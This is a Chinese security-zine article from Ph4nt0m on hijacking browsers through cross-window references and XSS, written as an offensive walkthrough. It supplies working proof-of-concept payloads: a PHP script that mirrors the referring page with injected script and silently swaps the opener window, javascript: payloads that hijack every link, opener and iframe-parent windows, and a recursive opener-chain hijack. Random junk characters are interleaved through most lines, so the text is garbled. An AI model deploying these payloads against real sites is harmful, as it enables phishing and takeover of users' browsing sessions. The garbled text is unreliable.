==Ph4nt0m Security Team==
% g4 I0 @% H |
3 H) T5 G! K) Z+ }( F2 ]/ T- j ? Issue 0x03, Phile #0x05 of 0x07' ?# _: ^2 i% k" y, Y: O
/ ^1 }1 j" s! D. A W9 U
: P, e0 X7 L9 |9 E|=---------------------------------------------------------------------------=|) y' J$ X, Y0 H N/ m
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
# d# T- G& |, M3 L4 y|=---------------------------------------------------------------------------=|
5 }) ~3 l6 O+ @, P6 q# G2 G% B: J|=---------------------------------------------------------------------------=|$ I+ J; d% e7 B: b2 Y& k! b
|=------------------------=[ By rayh4c ]=---------------------------=|
( T4 _# W2 |1 Q& R$ I" U5 g; U|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|, }6 [$ I/ l( |& Y3 T$ o' T& {
|=---------------------------------------------------------------------------=|
6 ?" I* B* ^5 G+ v( g) q. R2 l( C: ^4 x. V+ O- M
# Z: L" b& {2 V
[目录]/ J( s( X* L+ H: c) m
9 K, X* I, ]" @% Z9 D r0 y1. 前言, o4 k7 ^- @/ P# n" j
2. 同源策略简叙) ?0 |3 k8 b! {0 l3 v( J
3. 理解window对象的同源策略 `1 D8 J% T5 @' o. }, W
4. 窗口引用功能中的同源策略漏洞
/ Q# p& i7 x+ ^7 c 4.1 父窗口引用子窗口的同源策略问题) g" P, F$ w6 i" u, o
4.2 子窗口引用父窗口的同源策略问题% x' a0 |2 J8 E+ I
5. 利用窗口引用漏洞劫持浏览器% t$ o( H+ m7 k3 ~( f" {; j$ Y
6. 利用XSS漏洞劫持浏览器8 C9 H% I6 l" t" V+ w) X* L
6.1 正向跨窗口劫持) a/ v1 x- _" ], ~* s
6.2 反向跨窗口劫持$ U" _6 r! y& ~0 s; d8 M2 ~
6.3 极度危险的跨框架窗口引用劫持
4 r/ v7 N O" r% V& h6 B0 q 6.4 极度危险的正反向跨窗口递归劫持; C$ o. u; h$ }6 c( }4 y0 ~ d6 V" ^% ]
6.5 完全控制浏览器% U# F( `& f X' S! \3 V! {/ Y$ A
7. 后记5 O- l% M) a6 ^8 P6 ?3 a
8. 参考# v0 w/ {+ J6 S( B3 P
) d$ @; a% r7 s% v0 D6 j$ ^$ w5 P; ~% d& z* o# P' ^) K
一、前言- i* E4 T+ q- g; Z6 [
) U. _8 X- }1 Z$ z
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
5 D) q- s& ]) n" C5 U友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
$ _) z7 \$ G6 q( f劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被, M F s" U- I o0 M
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。) w. T# w9 e% W- g* @1 H4 y
7 `1 y1 b8 d% U/ N6 x( O% V. [
. \. z3 ~5 X9 v4 A二、同源策略简叙
: T# v5 E; {* d; }5 E
6 x0 b0 J3 `% b j& E. v/ Z 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以! L, e$ X& ?0 W" u i
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都+ e3 \# z3 O5 s& V. Q6 X
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
J( E- H* P/ b7 U, x, g% r+ ^ @马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
" b$ j7 p, o3 F4 H6 |- H8 t: l漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。( G3 Q& f: y2 N$ \
& K. E; B8 o: w
" [ W' M% l9 Z7 j I8 H三、理解window对象的同源策略0 \& K4 O+ t+ t" V5 V5 o1 Z
9 U$ a4 y8 G3 ]2 J 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对4 V- X6 n+ E! W4 p% [ j& I& H7 a- K' o
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:" r* `* h! H r2 D/ c0 a6 [
2 k- M& d9 [3 p. |
--code-------------------------------------------------------------------------
" x0 O5 K: t/ e% q# T2 ?% C9 i<script language="javascript">9 v2 b. r6 U4 b5 U: @
for(p in window) document.write(p+"<br>");, o* [' b- l& O! \9 h0 B S/ n
</script>
- M' D5 j2 O! @1 V1 x0 {- S-------------------------------------------------------------------------------" |9 F, Z: n6 o5 q$ B O
# T, W, U/ E Z" N- k5 ~2 z; q 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% W- w0 N. y$ n# `
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
/ S3 {, ^+ f( t3 o这些属性和方法就必须遵循同源策略。9 J1 `, h8 J' y3 q) D$ S+ E. u C
5 j) w1 h: W4 i 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那3 C3 Y D7 w( {" G4 m
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须* ^6 z4 t' u8 ]9 l5 n- B% k
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这/ |$ B x6 B* j( D+ \
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的/ _& O* a: ~# Z2 X/ p
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
2 r9 E \" k2 N; L* b属性并没有被拒绝访问。% v/ ]4 m; D4 o, f( j1 w! x$ N3 l( K+ ]
0 U# u0 |3 J' y- K/ z3 Y! P--demo.html--------------------------------------------------------------------
( U3 A6 {- x! J- b, z: w<script language="javascript">
: o7 Q9 g% i/ M; vfunction allPrpos(obj) {
5 O% t' @' w3 C0 e( { var props = "<table><tr><td>名称</td><td>值</td>"; ' `$ I" {9 a3 @' R& f0 P
for(var p in obj){
4 q j$ r5 P7 Y5 \4 v if(typeof(obj[p])=="function"){
; p% }- t. C) H- K5 S- G obj[p](); % T$ ^3 ]" [6 ?: z
}else{
$ Q1 }9 w) _0 ~& s/ Q try B8 ~5 v+ n, B- w% {$ K7 F
{ " y: a9 ?3 a: m
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; " M4 ^1 g. i* w2 z, w: _; u
} * E; @' ?( d: O3 C- c
catch (ex) ; `7 Q3 [/ w, e/ g
{
* F, k. D" F, ?4 N, c / J. t6 ^9 ]/ H* F
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 7 Z, t7 W0 i9 e% e
}
* X0 D, l8 }8 d! Z4 j" Q
& X1 S7 \' B0 n j9 s" q0 S1 Q, v- U } / c/ R& W: T0 }0 X7 S
} " [( l4 V0 b7 k7 F
; L* |0 B5 Q# K( M0 ^5 y) `( a" [, W
document.write(props+"</table>"); h; u/ F6 R2 n1 C! r
} ( h' N+ ^/ @2 x+ _" k
! e! y8 z8 N$ \. Z' wfunction createWin() {
6 z1 O: l7 I1 k# e \ newWin = window.open ("http://www.google.com"); . N" V- f; V3 |7 n7 Z
setTimeout(function(){allPrpos(newWin)},2000);
$ v& i# F7 j4 |; K5 ^}
0 S0 {8 M9 T5 ~; K7 v+ }3 x& `) c7 \6 j6 {+ s( M" ]
</script> 5 _! e0 A" ^3 j; _) E
. _, Y I% M7 \* Q( k& L W# n M; \
<button onclick='createWin()'>创建一个非同源子窗口测试</button>" C+ d0 b2 K* m& T. `3 z
-------------------------------------------------------------------------------$ @) i: A. w% P/ A
% `' ?0 L# H3 p# R+ ^
& f7 a9 ?+ y/ l4 W. X四、窗口引用功能中的同源策略漏洞
: j# Q4 N4 ] ?5 b
0 P9 M9 j6 p5 ]* a7 h" j, A t4.1 父窗口引用子窗口的同源策略问题
' `5 h# n: ^/ n8 }! [4 t* A: h4 K8 s6 d8 W' c9 R% `5 E
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
h* e' Z1 ?5 g: K4 d但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
5 I" V8 L- e Z/ ]' k$ C浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进 F8 ]2 c3 Q. B+ \
行测试,会发现父窗口可以控制非同源子窗口location属性值。
3 j$ z" d& ~" t+ P6 x2 G9 |
B/ \, I1 P5 ]& `- D" [: q--vul1.html--------------------------------------------------------------------
" \7 S7 O$ i; u4 j8 F; I<script language="javascript"> 3 H7 d+ l6 H. J. C
function createWin() {
- s1 |1 j- }+ ~# y& \: w* E# U0 P newWin = window.open ("http://www.google.com"); 9 c& o# Y7 s4 {1 X7 \ Y
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
7 }3 D1 [+ o/ `* U [} ) z' V) ^4 p: _ f- O- ?* G0 T
</script>
8 K: x+ g) K5 }7 j, `
0 y2 h, ]$ L) J: I! o# @" N<button onclick='createWin()'>创建一个非同源子窗口测试</button>, Z* l, f6 X' ]
-------------------------------------------------------------------------------
. T6 v* y4 O, C" u S. H
) _6 `' q2 {# e1 T7 n
9 U: m7 P/ e- B( t7 O0 S4.2 子窗口引用父窗口的同源策略问题4 ~7 z9 O. g# f5 B8 @+ y( }+ p3 `" @; m
+ h t7 S1 r9 ], a' J% I 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
3 }8 q" c* j( d* K1 N9 R用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们! v2 u* v& C0 z; o, I1 @
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
0 {* g$ [% g' y2 D5 L会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
9 }, I$ N) s. Z2 }# ]0 K. Y0 Q) Q' p) ~6 ~3 E* _+ e: N
--code-------------------------------------------------------------------------. w' r2 t- q( o( p0 z
# v. s' l) A* r" j- m# D5 e! Q: Ljavascript:window.opener.location = "http://www.80sec.com";void(0);5 Y& c' i8 u. F J
) H) A& X$ Y8 R/ C
-------------------------------------------------------------------------------2 F, t8 l0 [9 f8 u; k7 J0 b) [ Z
, S5 ]' S; t! J& [! I0 m# F6 P
1 w# j# E6 i* j" r9 H# I五、利用窗口引用漏洞劫持浏览器
l8 w. S/ S/ e
! Q! L Y* J( z" D9 g 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
8 K8 q, W3 o) r( ^% ^窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
5 F0 i; _$ a, t! F, i( a么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
_; o7 J8 f+ [+ t! H
2 p6 h( L3 [% G0 H: j. ? 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产5 d R4 F- J3 G, g0 d% c8 g; \% r
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或, l. C- l, P) t
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接. M* c, ?* L: h/ C1 h4 ]* \, Q
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下7 D/ ~" `6 x+ A0 r
会产生什么可怕的后果。& q% E& \/ V9 ~9 [& {
* ]2 G) Y2 o* O2 f, V; z0 Y2 m 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我! W+ b6 [2 x- T
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
6 L5 G/ @* v1 C- J# [这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时8 `9 _. K% I2 `0 }9 S" B
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可* K1 V1 C. B$ T4 p0 t3 E
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
2 X: ^5 G" l$ l5 q5 Z
( k# Z0 Q8 Y- d! }# x, N0 |--hjk_ref.php------------------------------------------------------------------
& Q5 g0 ? u5 ~5 p' f9 }<?php, E. m2 ]# T: @- w: i w2 z! M
if (array_key_exists("HTTP_REFERER", $_SERVER)) {% |4 F; y9 A A# R
$Url_Mirror = $_SERVER["HTTP_REFERER"];# P& [6 `- h5 A( W, F
} ' }/ N6 |8 l; `3 v) Y( E+ Q
if(isset ($_GET['ref'])) {
: ^* `( _2 F8 v1 q- p) r7 jecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
) X: e# |" K. O& j! q4 n}( }) m- C8 N' ~+ J
?>
- r! c" u5 a+ M5 {$ n) M5 t7 x; r4 C4 J6 [
<script language="javascript">! i. H; k: J2 j2 d- S- v
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 7 L0 k- {3 G- H$ Y/ j
</script>1 c2 m6 m# {* W5 Z9 _
-------------------------------------------------------------------------------( y. J$ n) B' g3 a# z2 j
) y4 f D( T1 k. I" f$ X0 }) B7 ~# | 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。# F1 I/ `/ T3 ]. b5 f
3 u8 X8 ~& i5 C# R6 m- k f- R
* b* b( C! A! M* T! ~- s, A六、利用XSS漏洞劫持浏览器; ^0 U; s* A( j- p y
8 L7 L" Z% {* p- `' E% ]# x
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
8 W' z7 [, e: e5 a/ u' M+ G n* V持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后; o/ H4 a# w: U# H& V
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
' E$ {9 a2 p# g) a讨论跨站师的终极技巧:8 w. U, F3 `# n
5 S2 [# {4 o% `) C/ B7 q- S9 G
: t+ t: ^7 g4 J0 w! u6.1 正向跨窗口劫持
& b4 i; _* M; u+ B0 e0 ]# V% l0 c- N0 M3 d4 e
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛( n" U; V) L# K& N
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链6 t/ Z( F; m/ ]: b
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
9 }" f; K3 |7 U ~ G2 R框脚本。 6 {! N, s+ T: I6 P; O
3 g# t, e) x6 e* i! Z
--hijack_open.js---------------------------------------------------------------0 |' }. d/ C" b- D g. M
# M* Q1 C% z# h( B5 A! m& z6 y$ Sjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
% k" e5 K- y3 @' ^) G' }* }
5 |6 C8 R6 p# H8 I/ g-------------------------------------------------------------------------------5 P+ a1 u- Z; d+ I
7 g" B8 w r- t7 Q
% F- h8 O0 c( f Q/ l& w) s
6.2 反向跨窗口劫持' _' b8 K' }/ J) l
9 p7 g$ r1 U: _. d5 w0 H 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代8 s- M9 t' Q5 L
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
3 p7 _- ]$ e! n; Q3 q* ?) l框脚本。, P0 I- l8 T' f6 e% w# v. j% G# n
) Q6 k7 m/ O7 _--hijack_opener.js-------------------------------------------------------------7 d: G" E, y) H E) d$ Q
- k5 y8 D" A2 O% `
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);- c, W5 k" j o" `2 Z# k; F
. G! S( v# ?6 Q- i! N- X
-------------------------------------------------------------------------------* Z1 c! {1 e/ O0 [
$ { E; ^1 V# H$ S* H
7 d" Z) ]' {, L! I+ M* y$ E6.3 极度危险的跨框架窗口引用劫持
# x- r t+ Y! y) N# ]4 g2 F2 @4 a3 s a G: {# `2 Z6 ^* J- N
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞# C2 {' q8 d/ M9 }/ v- F
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
" ~# g, G- O& N0 }9 O4 \适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个$ P1 L+ u/ E) [) ^/ q9 j
非持久型的XSS,如下:" h: O1 C% \3 c* z, m: O; \) c8 e
7 w, ?8 B7 H; e: ~4 N( o<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>. }. a3 h# c7 f2 U% y( W' D
* H9 U) I. V+ U1 o# c) F8 w
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
* x3 N8 E7 h8 r2 r7 J7 S& G注入脚本。* n5 V/ z! u# |9 k' H/ j
7 w$ s9 t- r% E
--hijack_frame_opener.js------------------------------------------------------- h9 i0 f* o' N8 C% _; J
<script>6 ?0 G3 o' q3 g# P7 g9 O* i
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";! C$ f. Y3 K$ i& j$ V
</script>% y/ o: P7 ?7 F3 U; k4 {% e, y$ P; T3 ^
-------------------------------------------------------------------------------
, b& {9 `/ L! I( x$ L
( n% J/ }& d' H+ A" S' E
; J( e5 m2 _- J1 W0 Z% L8 S6.4 极度危险的正反向跨窗口递归劫持
; Z* ?' w0 n; H. g% m1 w
* M% \7 t. r. H- \. [ luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
6 S* L( O5 B i的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过' N2 n. f$ `" ?1 N9 n9 |6 G4 g6 z
异常处理规避之间跨域页面的访问异常,代码如下:1 e. b8 C! Y- X9 [; A, D a
, s3 h) T8 l9 G9 i* B--code-------------------------------------------------------------------------# `2 {/ d6 h }% E) D- y4 ]
/ X2 \$ c1 D6 c& g# q
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);- m3 H: s. U5 e9 I
. M% d% V; o5 z8 l G
-------------------------------------------------------------------------------- ~$ ~# B* p+ W# y9 u8 P6 e8 W
2 x! A7 \0 e; G# L7 U; R4 K3 [' l
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可; z* \- s) D- E
以劫持B域之前的A域页面,从而实现“隔空打击”。 B/ }8 M9 `8 ~9 L }; n |
* T+ z+ G4 G7 | |$ X6 N
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
% `; k: A/ T3 k l9 w3 _1 I+ Q* u执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
9 v C; g* J& ]+ {9 F
0 O& o% p# n) v/ W2 R 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。0 k- i- G8 r4 l6 C& g3 n" q
* y" E) ^8 u% Y$ h9 y, Y# Y! }* e$ r7 z
6.5 完全控制浏览器; o+ [; j* d9 }' X4 D) A/ _" I0 E
1 q$ [# J7 |* W, k 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
' d5 e3 n% l$ P! f/ d是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
9 @2 K# S! `" \" W# ~/ y漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失6 X, Q5 W7 |: C* f, M/ x
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
: [ e9 A6 q6 c& V! l) y9 U列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站: r/ Q' D& ]2 B5 m1 \ _4 m* ^6 a
师的终极目标 - 完全控制浏览器。
8 T7 F/ ]' o5 C3 S+ {& A! X
2 R$ i2 X, u0 |' B# X" {
# [, O ?& U* E: W( \七、后记( I7 ]. q3 @/ P+ V" c2 j: m
* A0 [4 A8 P' [2 Z T1 K9 u
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
4 [' {+ k/ b: G: D( P8 k! }与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
; c' N$ l# X# c4 t! \( }- B过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
$ a' `) u1 M: h8 N/ d6 {# a) b. s }, I$ \4 X$ T
* Q1 v7 z! Y- K3 N: f
八、参考7 n. V5 C6 J7 ^2 \" W. L
* w& @/ H3 B# D1. http://en.wikipedia.org/wiki/Same_origin_policy7 A8 ` Z: o# Z) Q8 R' [$ m
2. http://code.google.com/p/browser ... licy_for_DOM_access. q% D) q6 }, l; |# U O3 T
3. http://www.w3.org/TR/Window/7 ^+ t8 n ]# b1 l- a% J, N1 B
4. http://www.80sec.com/release/browser-hijacking.txt
S- d5 @ \( S2 v: [* ^1 p5. http://www.80sec.com/all-browser-security-alert.html% a8 L# B' c" a4 a: w6 a' P
6. http://www.80sec.com/ms08-058-attacks-google.html5 |6 ~8 X9 j' J# Q% ?
: w f" R6 V# f& E) q7 W- M-EOF- |